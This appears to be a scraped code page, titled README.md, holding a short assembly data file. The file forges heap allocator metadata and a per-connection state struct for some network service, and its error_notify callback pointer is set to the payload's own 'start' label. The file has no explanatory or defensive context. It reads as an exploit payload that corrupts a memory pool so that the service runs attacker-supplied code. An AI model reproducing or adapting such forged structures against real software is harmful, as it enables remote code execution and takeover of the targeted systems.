README.md
Rendering markdown...
# SPDX-License-Identifier: MIT
.section .data.head
.set FREE_SIZE, 0x0000baac
.word 0x0c0ffee0 # magic for free block
.word 0x00000000 # null pointer means this is the last metadata block
.word FREE_SIZE # length of block
.word 0x00000000 # padding
.fill FREE_SIZE, 1, 0 # pad until end of alloc block
.word 0xace0bace # end of memory pool
# Outer alloc metadata
.word 0xdeadbeef # magic for in-use block
.word 0x2c119c58 # pointer to next alloc metadata block
.word 0x00000034 # length of block
.word 0x00000000 # padding
# Per-connection state tracking struct
.word 0x0000000b # sockfd
.word 0x00000000 # time_last_activity
.word 0x00000001 # state
.word 0x2c119c68 # mempool
.word 0x00000000 # env
.word 0x00000000 # status
.word 0x0043c7f4 # handler
.word start # error_notify
.word 0x00000000 # close_notify
.word 0x00000000 # unknown, but used as an argument to close_notify
.word 0x00000000 # ssl_state
.word 0x00000000 # unknown
.word 0x2bf49168 # port